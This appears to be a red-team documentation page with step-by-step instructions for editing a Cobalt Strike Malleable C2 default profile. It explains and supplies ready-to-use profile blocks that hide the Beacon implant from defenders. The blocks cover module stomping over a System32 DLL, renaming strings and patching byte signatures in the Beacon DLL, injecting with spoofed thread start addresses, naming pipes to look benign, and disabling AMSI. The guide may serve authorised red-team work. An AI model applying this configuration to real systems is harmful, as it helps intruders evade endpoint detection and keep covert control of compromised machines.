> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/cobalt-strike/setup/update-default-profile.md).

# Update Default Profile

* [ ] Move into the profiles directory. `cd /opt/cobaltstrike/profiles`&#x20;
* [ ] Open default.profile in a text editor (e.g. vim or nano). Add the following:

<details>

<summary>Understanding The Changes Made</summary>

setting `stage.userwx`  to false in a Malleable C2, the prepended loader changes by:

1. Allocating memory with PAGE\_READWRITE (RW) permissions
2. Copying beacon into that memory
3. Then looping over each DLL section and setting the final memory permissions according to those section characteristics.  That's typically **RX** for *.text*, **R** for *.rdata*, and **RW** for *.data*.

Setting `stage.copy_pe_header` to *false* will prevent the prepended loader from including the DOS and NT headers in runtime. The prepended loader will no longer copy those headers with this setting set to false, leaving only the .text and .data sections in memory.

The `stage.module_[x86/x64]` option in Malleable C2 tells Beacon's prepended loader to perform a technique known as module stomping (or module overloading).  This is a where the loader maps the specified PE from disk, but then overwrite it's memory with Beacon later.  The end result is Beacon's PE appearing to be backed by a legitimate module. The default without this is not being backed by a module on disk, which looks out of place. Note that the module you choose must be large enough to accommodate Beacon.  My recommendation would be to look through System32 and pick one that's at least 512KB.  For example, `set module_x64 "Hydrogen.dll";` will have Beacon mapped over *C:\Windows\System32\Hydrogen.dll*.

The Malleable C2 profile can be used to replace these strings in the Beacon DLL, via the `stage.transform-x64` and `stage.transform-x86` blocks (x86 is not in this one).  The `strrep` command simply replaces one string with another.  To replace raw bytes, use the **\x** syntax.

* The new string must be shorter or of equal length than the original.  It cannot be longer.
* The format string itself should be kept valid (e.g. *%s* for strings, *%d* for digits, etc).

The way BOFs are loaded into (and cleared from) memory is controlled with the `process-inject` block in a Malleable C2 profile.

```
 process-inject {
    # This sets the API used to allocate BOF memory. Options are VirtualAlloc, MapViewOfFile, and HeapAlloc.
    set bof_allocator "VirtualAlloc";
    
    # This controls what happens to the memory allocation after a BOF has run.
    # If true, allocation is kept but zero'd out. If false, allocation is freed (depending on bof_allocator).
    # If memory is not large enough for the next BOF, it's freed and re-allocated regardless.
    set bof_reuse_memory "true";
    
    # This controls the size of the initial memory allocation. Make sure this is large
    # enough to accommodate the BOFs you typically run if you want to avoid too many memory
    # freeing and allocation events.
    set min_alloc "8192";
    
    # This controls the initial/resting permission of the memory allocation.
    # If true, RWX is used. If false, RW is used.
    # If bof_reuse_memory is true, memory is restored to this permission when a BOF has run.
    set startrwx "false";
    
    # This controls the final permission of the memory allocation prior to calling a BOFs entry point.
    # If true, it's flipped to RWX.
    # If false, it's flipped to RX for the BOFs code section and RW for the data section.
    set userwx "false";
}

```

Fork and run commands carry the heaviest OPSEC burden because they must inject shellcode, start a new thread, and start a new named pipe.  The spawn variant must also start a new sacrificial process.  As with BOFs, Malleable C2's `process-inject` block can influence how the shellcode is injected.

```
process-inject {
    # This sets the API used to allocate memory in the target process.
    # Options are VirtualAllocEx and NtMapViewOfSection.
    # Be aware that NtMapViewOfSection can only be used for same-arch injection.
    # VirtualAllocEx will always be used for cross-arch injection.
    set allocator "VirtualAllocEx";
    
    # These options behave in a similar way as they do for BOFs.
    set startrwx "false";
    set userwx "false";
    
    # This sub-block sets the APIs used to create the new thread. Multiple options are provided here
    # to cover various cases, mostly cross-arch injection. The following is a breakdown of each
    # option and technique:
    #
    # CreateThread        : for the current process only.
    # CreateRemoteThread  : supports x64 -> x86 injection.
    # NtQueueApcThread    : same arch injection only.
    # NtQueueApcThread-s  : this is the "early bird" injection pattern (also same arch only).
    # ObfSetThreadContext : same arch injection only.
    # RtlCreateUserThread : supports x86 -> x64 injection but must use RWX memory.
    # SetThreadContext    : also supports x64 -> x86 injection.
    # Beacon evaluates techniques top-to-bottom, so put your prefered techniques at the top
    # and 'backup' techniques as you go down. If an edge case is not covered, injection will fail.
    #
    # CreateThread, CreateRemoteThread, and ObfSetThreadContext can spoof the address of another
    # function using the "module!function+0x##" syntax. These threads are created in a suspended state
    # and are updated to point at the shellcode before they're resumed.
    # This can help avoid those memory scan triggers.
    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart+0x2c";
        NtQueueApcThread-s;
        NtQueueApcThread;
        SetThreadContext;
    }
}
```

The `post-ex` block can be used to control other elements of fork & run, as well as modify the post-ex DLLs themselves.

```
post-ex {
    # These control default process paths used by the 'spawn' variant for x64 & x86 post-ex DLLs.
    # Environment variables are ok, but always use 'sysnative' and 'syswow64' instead of 'system32'.
    # Override these at runtime using the spawnto command.
    set spawnto_x64 "%windir%\\sysnative\\msiexec.exe";
    set spawnto_x86 "%windir%\\syswow64\\msiexec.exe";
    
    # This option tells the post-ex DLL to free the post-ex loader from memory.
    set cleanup "true";
    
    # This option changes the name of the post-ex named pipe from "postex_####".
    # A comma-separated list allows Cobalt Strike to pick a random one each time.
    # Each '#' will also be replaced with a random hex character.
    set pipename "dotnet-diagnostic-#####, ########-####-####-####-############";
    
    # Some post-ex DLLs (like the portscanner) create multiple threads to help it run faster.
    # This option tells the DLL to spawn new threads with the specificed spoofed start address.
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x2c";
    
    # This disables AMSI in powerpick, execute-assembly, and psinject, using a memory patching technique.
    set amsi_disable "true";
    
    # This sub-block can be used to replace strings in the post-ex DLL.
    # Use transform-x86 for x86 DLLs.
    transform-x64 {
        # strrep will replace a string in any post-ex DLL. This is good for generic strings.
        strrep "This program cannot be run in DOS mode." "This is totally not a PE.";
        
        # strrepex will replace a string in a specific post-ex DLL. This is good for strings
        # that only appear in specific DLLs.
        #
        # The valid post-ex names are: BrowserPivot, ExecuteAssembly, Hashdump, Keylogger, Mimikatz,
        # NetView, PortScanner, PowerPick, Screenshot, and SSHAgent.
        strrepex "PowerPick" "CLRCreateInstance failed w/hr 0x%08lx" "CLRCreateInstance failed: 0x%08lx";
        strrepex "PowerPick" "Failed to get default AppDomain w/hr 0x%08lx" "Failed to get default AppDomain: 0x%08lx";
        strrepex "ExecuteAssembly" "Invoke_3 on EntryPoint failed." "Unhandled exception.";
        strrepex "ExecuteAssembly" "Failed to load the assembly w/hr 0x%08lx" "Failed to load the assembly: 0x%08lx";
    }
}
```

{% hint style="info" %}
The service binary payload will always use rundll32 as its default spawnto.  The `post-ex.spawnto` directive in Malleable C2 cannot be used here because environment variables, such as `%windir%`, are not valid in a SYSTEM context.  The artifact kit provides a command called `ak-settings`, which allows you to set the spawnto to an explicit path instead.
{% endhint %}

</details>

```
stage {
        set userwx "false";
        set cleanup "true";
        set copy_pe_header "false";
        set module_x64 "Hydrogen.dll";

        transform-x64 {
            strrep "beacon.x64.dll" "bacon.x64.dll";
            strrep "%02d/%02d/%02d" "%02d/%02d/%04d";
            strrep "%s as %s\\\\%s: %d" "%s - %s\\\\%s: %d";
            strrep "%02d/%02d/%02d %02d:%02d:%02d" "%02d-%02d-%02d %02d:%02d:%02d";
            strrep "\\x48\\x89\\x5C\\x24\\x08\\x57\\x48\\x83\\xEC\\x20\\x48\\x8B\\x59\\x10\\x48\\x8B\\xF9\\x48\\x8B\\x49\\x08\\xFF\\x17\\x33\\xD2\\x41\\xB8\\x00\\x80\\x00\\x00" "\\x48\\x89\\x5C\\x24\\x08\\x57\\x48\\x83\\xEC\\x20\\x48\\x8B\\x59\\x10\\x48\\x8B\\xF9\\x48\\x8B\\x49\\x08\\xFF\\x17\\x33\\xD2\\x41\\xB8\\x01\\x80\\x00\\x00";
        }
    }
    
post-ex {
        set spawnto_x64 "%windir%\\\\sysnative\\\\werfault.exe";
        set cleanup "true";
        set pipename "dotnet-diagnostic-#####, ########-####-####-####-############";
        set thread_hint "ntdll.dll!RtlUserThreadStart+0x2c";
        set amsi_disable "true";
    
        transform-x64 {
            strrep "This program cannot be run in DOS mode." "This is totally not a PE.";
            strrepex "PowerPick" "CLRCreateInstance failed w/hr 0x%08lx" "CLRCreateInstance failed: 0x%08lx";
            strrepex "PowerPick" "Failed to get default AppDomain w/hr 0x%08lx" "Failed to get default AppDomain: 0x%08lx";
            strrepex "ExecuteAssembly" "Invoke_3 on EntryPoint failed." "Unhandled exception.";
            strrepex "ExecuteAssembly" "Failed to load the assembly w/hr 0x%08lx" "Failed to load the assembly: 0x%08lx";
        }
    }
    
process-inject {
        set allocator "VirtualAllocEx";
        set bof_allocator "VirtualAlloc";
        set bof_reuse_memory "true";
        set min_alloc "8192";
        set startrwx "false";
        set userwx "false";

        execute {
            CreateThread "ntdll.dll!RtlUserThreadStart+0x2c";
            NtQueueApcThread-s;
            NtQueueApcThread;
            SetThreadContext;
        }
    }


```

* [ ] Save the changes.&#x20;
* [ ] Restart the team server. +++sudo /usr/bin/docker restart cobaltstrike-cs-1+++

{% hint style="info" %}
&#x20;If the container fails to restart properly use sudo /usr/bin/docker logs cobaltstrike-cs-1 to see the profile errors.
{% endhint %}
